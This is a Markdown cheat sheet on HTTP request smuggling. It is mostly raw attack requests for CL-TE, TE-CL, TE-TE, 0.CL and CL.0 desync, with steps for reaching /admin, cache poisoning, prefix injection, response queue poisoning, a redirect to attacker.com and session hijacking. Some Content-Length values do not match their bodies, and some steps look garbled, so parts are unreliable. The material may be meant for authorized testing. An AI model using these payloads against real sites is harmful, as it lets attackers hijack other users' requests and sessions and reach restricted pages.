HTTP Request Smuggling Cheatsheet

http_request_smuggling_cheatsheet.md

🔥 HTTP Request Smuggling Cheat Sheet

🧠 Core Idea

Smuggling happens when:

• Frontend (proxy/load balancer) and
• Backend (app server)

disagree on request boundaries

Main headers involved:

• Content-Length
• Transfer-Encoding: chunked

---

🧪 1. CL-TE (Content-Length + Transfer-Encoding)

👉 Frontend uses Content-Length

👉 Backend uses Transfer-Encoding

---

✅ Basic CL-TE Payload

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

G

🔍 What happens:

• Frontend reads 13 bytes
• Backend sees chunked → stops at 0
• Extra G becomes next request prefix

---

✅ CL-TE Smuggling (Poison next request)

POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com

---

🧪 Detection Clues

• Delayed response
• 400/502 inconsistencies
• Next user request behaves weirdly

---

🧪 2. TE-CL (Transfer-Encoding + Content-Length)

👉 Frontend uses Transfer-Encoding

👉 Backend uses Content-Length

---

✅ Basic TE-CL Payload

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 50

0

GET /admin HTTP/1.1
Host: target.com

---

🔍 What happens:

• Frontend stops at 0
• Backend uses Content-Length: 50
• Reads extra data → smuggled request

---

✅ TE-CL Exploit (Prefix attack)

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 4

0

X

Then next request gets prefixed with X

---

🧪 3. TE-TE (Transfer-Encoding ambiguity)

👉 Both use TE but parse differently

---

🔥 Variants to try

1. Obfuscated header

Transfer-Encoding: chunked
Transfer-Encoding: x

---

2. Case variation

Transfer-Encoding: Chunked
Transfer-Encoding: chunked

---

3. Space bypass

Transfer-Encoding : chunked

---

4. Tab/newline tricks

Transfer-Encoding: chunked
 Transfer-Encoding: identity

---

5. Chunk size confusion

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

5
Hello
0

GET /admin HTTP/1.1
Host: target.com

---

🧪 4. Advanced Payloads (Real Testing)

---

🔥 Prefix Smuggling

POST / HTTP/1.1
Host: target.com
Content-Length: 20
Transfer-Encoding: chunked

0

POST /malicious HTTP/1.1
Host: target.com

---

🔥 Cache Poisoning

GET / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com
X-Ignore: X

---

🔥 Header Injection via Smuggling

POST / HTTP/1.1
Host: target.com
Content-Length: 40
Transfer-Encoding: chunked

0

GET / HTTP/1.1
Host: target.com
X-Injected: yes

---

🧪 5. Tools & Tips

Use:

• Burp Repeater (disable auto-update Content-Length)
• HTTP/1.1 (NOT HTTP/2 unless testing downgrades)

---

🔍 Key Indicators

Behavior	Meaning
Timeout	Possible desync
502/400 mismatch	Parsing difference
Strange responses	Smuggling likely
Next request affected	Confirmed

---

⚠️ Common Bypasses

Try variations:

• Transfer-Encoding: chunked, identity

• Duplicate headers

• Mixed casing

• Extra spaces

• HTTP/1.0 downgrade

• Chunk extensions:

  5;test=1
  Hello
  

---

🧠 Pro Testing Strategy

1. Start with CL-TE

2. Move to TE-CL

3. Try TE-TE obfuscations

4. Confirm using:

   • Prefix injection
   • Response desync
   • Cache poisoning

---

🔍 HTTP Desync Identification Cheat Sheet

Goal: Determine whether FE/BE use:

• Content-Length (CL)
• Transfer-Encoding (TE)

---

🧪 0. Baseline Rule

Behavior	Meaning
Immediate 400	Parser rejected input
Timeout / hang	Waiting for more bytes
Normal response	That parser ignored ambiguity

---

🧪 1. Identify Front-End Behavior

✅ Test: Does FE support Transfer-Encoding?

📌 Request (Invalid chunk)

GET / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 6

3\r\n
abc\r\n
X\r\n

🔍 Interpretation

• ❌ 400 Bad Request → FE is parsing chunked (TE)
• ✅ No error / forwarded → FE likely ignores TE → uses CL

---

✅ Alternative TE Detection (cleaner)

POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked

Z

🔍 Result:

• ❌ 400 → FE parses TE
• ✅ Forwarded → FE ignores TE

---

✅ Test: Does FE use Content-Length?

POST / HTTP/1.1
Host: example.com
Content-Length: 10

abc

🔍 Result:

• ⏳ Timeout → FE waiting → uses CL
• ⚡ Immediate response → ignores CL

---

🧪 2. Identify Back-End Behavior

✅ Test: Backend uses Content-Length

GET / HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 6

0\r\n
\r\n
X\r\n

🔍 Interpretation:

• ⏳ Timeout → BE is waiting → uses CL
• ⚡ Immediate response → BE uses TE

---

✅ Test: Backend uses Transfer-Encoding

POST / HTTP/1.1
Host: example.com
Content-Length: 20
Transfer-Encoding: chunked

0

🔍 Interpretation:

• ⚡ Immediate response → BE respects TE
• ⏳ Timeout → BE using CL

---

🧪 3. Combined Detection (CL vs TE matrix)

🔥 CL-TE Detection

POST / HTTP/1.1
Host: example.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

🔍 Results:

Behavior	Meaning
Timeout	FE=CL, BE=TE → CL-TE vulnerable
Normal	Not vulnerable

---

🔥 TE-CL Detection

POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

🔍 Results:

Behavior	Meaning
Timeout	FE=TE, BE=CL → TE-CL vulnerable
Normal	Not vulnerable

---

🧪 4. TE-TE (Parser Mismatch Detection)

✅ Duplicate Header Test

POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked
Transfer-Encoding: identity

0

🔍 Results:

• Different responses / inconsistencies → TE-TE issue

---

✅ Obfuscated TE

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: cow

---

✅ Chunk Size Edge Case

POST / HTTP/1.1
Host: example.com
Transfer-Encoding: chunked

5
abcde
0

X

🔍 Result:

• If X affects next request → desync confirmed

---

🧪 5. Clean Verification Techniques

🔥 Prefix Injection Confirmation

POST / HTTP/1.1
Host: example.com
Content-Length: 20
Transfer-Encoding: chunked

0

G

Then send:

GET / HTTP/1.1
Host: example.com

🔍 If response breaks → confirmed smuggling

---

🔥 Response Queue Poisoning

Send smuggled request:

GET /admin HTTP/1.1
Host: example.com

Then normal user request:

GET / HTTP/1.1
Host: example.com

🔍 If response mismatch → confirmed

---

🧪 6. Quick Decision Flow

Step 1: FE detection

• Invalid chunk → 400? → FE = TE
• Otherwise → FE = CL

Step 2: BE detection

• Truncated chunk → timeout? → BE = CL
• Otherwise → BE = TE

Step 3: Confirm

• CL-TE → timeout
• TE-CL → timeout

---

⚠️ Important Notes

• Always use:

  • Connection: keep-alive

• Disable auto Content-Length fixes in Burp

• Test multiple times (CDNs behave inconsistently)

• HTTP/2 → test downgrade scenarios

---

🧠 Pro Insight (Important)

Your example works because:

FE stops early → BE waits → desync gap created

That gap is the entire exploit surface

---

HTTP Request Smuggling Cheatsheet: 0.CL and CL.0

---

🧠 Overview

Variant	Front-End Behavior	Back-End Behavior
0.CL	Ignores Content-Length (treats body as 0)	Uses Content-Length
CL.0	Uses Content-Length	Ignores Content-Length (treats body as 0)

---

🔥 0.CL (Zero Content-Length Desync)

📌 Concept

Front-end assumes no body → forwards request immediately Back-end waits for body → consumes next request as body

---

🧪 Detection Payload (Timeout / Deadlock)

POST / HTTP/1.1
Host: victim.com
Content-Length: 10

Expected Behavior

• Front-end forwards immediately
• Back-end waits for 10 bytes
• Connection hangs / timeout

---

✅ Confirmation Payload

POST / HTTP/1.1
Host: victim.com
Content-Length: 20

GET /404 HTTP/1.1
X: X

Expected Behavior

• Back-end consumes part of next request as body
• Response anomalies (400 / redirect / unexpected output)

---

💣 Exploit Primitive

Step 1: Send Smuggling Request

POST / HTTP/1.1
Host: victim.com
Content-Length: 15

Step 2: Victim Request

GET /target HTTP/1.1
Host: victim.com

Result (Back-End Interpretation)

POST / HTTP/1.1
Content-Length: 15

GET /target HT

Remaining becomes malformed request → desync achieved

---

⚡ Advanced Exploitation

• Chain with second desync (0.CL → CL.0)

• Convert into request prefix injection

• Use for:

  • Open redirect
  • Cache poisoning
  • Credential theft

---

🔥 CL.0 (Content-Length Ignored by Back-End)

📌 Concept

Front-end respects Content-Length Back-end ignores it → treats body as new request

---

🧪 Detection Payload

POST / HTTP/1.1
Host: victim.com
Content-Length: 20

GET /404 HTTP/1.1
Host: victim.com

Expected Behavior

• Front-end sends full request

• Back-end splits:

  • First request: POST /
  • Second request: GET /404

---

✅ Confirmation Payload

POST / HTTP/1.1
Host: victim.com
Content-Length: 40

GET /admin HTTP/1.1
Host: victim.com

Expected Behavior

• /admin accessed without direct request
• Confirms request splitting at backend

---

💣 Exploit Payload (Request Smuggling)

POST / HTTP/1.1
Host: victim.com
Content-Length: 60

GET /malicious HTTP/1.1
Host: victim.com
X: X

Effect

• Back-end processes:

  1. POST /
  2. GET /malicious

---

🎯 Prefix Injection Example

POST / HTTP/1.1
Host: victim.com
Content-Length: 80

GET /redirect HTTP/1.1
Host: victim.com
Location: https://attacker.com

Victim request becomes appended → redirect triggered

---

🔍 Testing Strategy

1. Identify Desync

• Send partial body requests
• Observe timeouts
• Compare front-end vs back-end responses

2. Confirm Behavior

• Inject secondary request inside body

• Look for:

  • Unexpected responses
  • Redirects
  • Status code anomalies

3. Exploit

• Align payload boundaries
• Target victim-triggered endpoints
• Use prefix injection for control

---

⚠️ Indicators of Vulnerability

• Random 400 / 404 responses
• Timeouts / hanging requests
• Unexpected redirects
• Partial responses
• Cache inconsistencies

---

🧠 Key Insights

• 0.CL alone often causes deadlock

• CL.0 is easier to exploit directly

• Combining both leads to powerful desync chains

• server-level redirects, requests for static files, server errors are prime candidates

• Goal is always:

  Control how the backend parses request boundaries

---

🚀 Pro Tips

• Use tools like Burp Repeater with manual control
• Send requests over single connection (keep-alive)
• Use padding to align exact byte lengths
• Target predictable endpoints (/resources, /static, etc.)

---

🧪 Minimal Working Templates

0.CL

POST / HTTP/1.1
Host: victim.com
Content-Length: 10

CL.0

POST / HTTP/1.1
Host: victim.com
Content-Length: 30

GET / HTTP/1.1
Host: victim.com

---

🧨 Final Goal

Convert desync into:

• Request prefix injection
• Response queue poisoning
• Credential/session hijacking

---

References

• HTTP Request Smuggling by Jarno Timmermans